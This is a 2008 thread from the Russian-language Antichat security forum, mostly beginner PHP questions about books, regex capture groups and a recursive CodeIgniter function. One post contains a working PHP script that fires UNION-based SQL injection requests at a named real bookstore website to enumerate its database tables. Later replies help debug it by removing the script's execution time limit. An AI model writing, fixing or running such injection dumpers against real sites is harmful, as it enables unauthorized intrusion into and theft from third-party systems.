ANTICHAT — форум по информационной безопасности, OSINT и технологиям
ANTICHAT — русскоязычное сообщество по безопасности, OSINT и программированию.
Форум ранее работал на доменах antichat.ru, antichat.com и antichat.club,
и теперь снова доступен на новом адресе —
forum.antichat.xyz.
Форум восстановлен и продолжает развитие: доступны архивные темы, добавляются новые обсуждения и материалы.
⚠️ Старые аккаунты восстановить невозможно — необходимо зарегистрироваться заново.
 |
|

24.06.2008, 23:05
|
|
Участник форума
Регистрация: 11.05.2007
Сообщений: 149
Провел на форуме: 6373157
Репутация:
247
|
|
Сообщение от MaTpOc
Где можно скачать норм учебник по пхп???
(я 0 в пхп)
Мда, как задолбали такие посты. Ну подними глаза. Тут же соседний топик!!! Даже называется: Books PHP
http://forum.antichat.ru/threadnav8721-1-10.html
|
|
|

25.06.2008, 10:49
|
|
Познавший АНТИЧАТ
Регистрация: 01.06.2008
Сообщений: 1,047
Провел на форуме: 5321514
Репутация:
3313
|
|
Сообщение от FeraS
MaTpOc
Отбирал самые интересные)
http://aeweb.ru/books/php_book/
Дабавь еще туда "PHP это просто - прграмируем для Web сайта". Очень познавательная книга для новичка(я по ней когда-то учился). Охватывает вопросы работы с файлами, базой данных. Так же рассматриваются CMS. Очень полезная книга - советую! 
|
|
|

25.06.2008, 10:51
|
|
Познавший АНТИЧАТ
Регистрация: 01.06.2008
Сообщений: 1,047
Провел на форуме: 5321514
Репутация:
3313
|
|
Извините за ламерский вопрос:
У меня есть руглярка:
PHP код:
preg_match('/<a>(.*?)<\/a>/',$d,$d);
Какой оператор мне применить, что бы выхватило только (.*?), без тегов <a></a>?
|
|
|

25.06.2008, 11:13
|
|
Участник форума
Регистрация: 12.01.2007
Сообщений: 262
Провел на форуме: 4608122
Репутация:
874
|
|
Так оно и будет выхватывать то что в скобках отдельно. Просто обратись к нужно му элементу массива где будет лежать этот карман.
сделай вывод результатов вот так print_r ($d) и увидешь какой тебе нужен элемент.
|
|
|

25.06.2008, 11:56
|
|
Познавший АНТИЧАТ
Регистрация: 07.01.2007
Сообщений: 1,263
Провел на форуме: 3326855
Репутация:
702
|
|
Код:
preg_match_all('#/<a>(.*?)<\/a>/#is',$d,$d,PREG_SET_ORDER);
echo $d[0];
|
|
|

25.06.2008, 18:52
|
|
Участник форума
Регистрация: 08.04.2008
Сообщений: 242
Провел на форуме: 2230263
Репутация:
229
|
|
Что-то немного подвис на мысли как сохранить массив $result при рекурсивном вызове функции getcurpos, чтобы все значения хранились в нем, а не только последняя выборка.
Ситуация следующая:
PHP код:
class Curpos_m extends Model {
....
function getcurpos($id) {
$this->db->select('id, pid, title');
$this->db->where('id', $id);
$this->db->limit(1);
$query = $this->db->get('ai_menu_'.$this->table);
$data = $query->result_array();
global $pid;
foreach ($data as $key) {
$pid = $key['pid'];
}
$result[$pid] = $data;
if($pid != -1) {
$this->getcurpos($pid);
} else {
return $result;
}
}
}
|
|
|

25.06.2008, 18:57
|
|
Постоянный
Регистрация: 30.12.2006
Сообщений: 434
Провел на форуме: 849583
Репутация:
210
|
|
Или пересмотри саму функцию, например делай дополнение в массив, после рекурсивного вызова в этой же функции,
Или делай массив $result - СТАТИЧЕСКИМ
|
|
|

25.06.2008, 21:44
|
|
Постоянный
Регистрация: 24.05.2008
Сообщений: 589
Провел на форуме: 3629857
Репутация:
504
|
|
вопрос появился.. пишу дампер таблички information_schema.tables...
PHP код:
<?php
$host = 'www.llewellyn.com';
$fp = fsockopen($host, 80, $errno, $errstr, 30);
$pos = 0;
$pos1 = 0;
$i1 = 131;
$tableName = '';
if (!$fp) {
echo "$errstr ($errno)<br />\n";
exit;
}
for ($i=1; $i<$i1;$i++) {
$out = 'GET /bookstore/author.php?id=-48208+union+select+1,2,3,concat(0x7c3a7c3a,table_schema,0x2e,table_name,0x3a7c3a7c),5,null,null,null,9,10,11,12+from+information_schema.tables+limit+'.$i.',1/*'." HTTP/1.1\r\n";
$out .= "Host: ".$host."\r\n";
$out .= "User-Agent: LOL/5.0 (Windows; U; Windows NT 5.2; ru; rv:1.8.1.14) Gecko/20080404 Firefox/2.0.0.14\r\n";
$out .= "Connection: Close\r\n\r\n";
while (!feof($fp))
{
$packet = fgets($fp);
fwrite($fh,$packet);
$pos = strpos($packet,'|:|:');
$pos1 = strpos($packet,':|:|');
$tableName = substr($packet, $pos+4, $pos1 - $pos - 4);
if (($pos) and ($pos1))
{
echo " pos: $pos\n pos1: $pos1\n table name: $tableName\n";
}
}
$out = '';
}
fclose($fp);
?>
появилась проблема... цикл for не работает.. точнее он проходит один шаг и завершается.. "кто виноват/ что делать?" (с)
Последний раз редактировалось gisTy; 25.06.2008 в 23:11..
|
|
|

26.06.2008, 00:45
|
|
Познавший АНТИЧАТ
Регистрация: 12.03.2008
Сообщений: 1,379
Провел на форуме: 5866479
Репутация:
1809
|
|
C циклом всё ок! У меня вот что: Fatal error: Maximum execution time of 30 seconds exceeded
|
|
|

26.06.2008, 01:12
|
|
Members of Antichat - Level 5
Регистрация: 25.02.2007
Сообщений: 495
Провел на форуме: 3244717
Репутация:
1980
|
|
Значит за 30 секунд цикл не успевает сделать 131 запрос к серверу, убирай ограничение на время выполнения скрипта
set_time_limit(0);
ini_set("max_execution_time",0);
|
|
|
|
 |
|
|
Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
|
|
|
|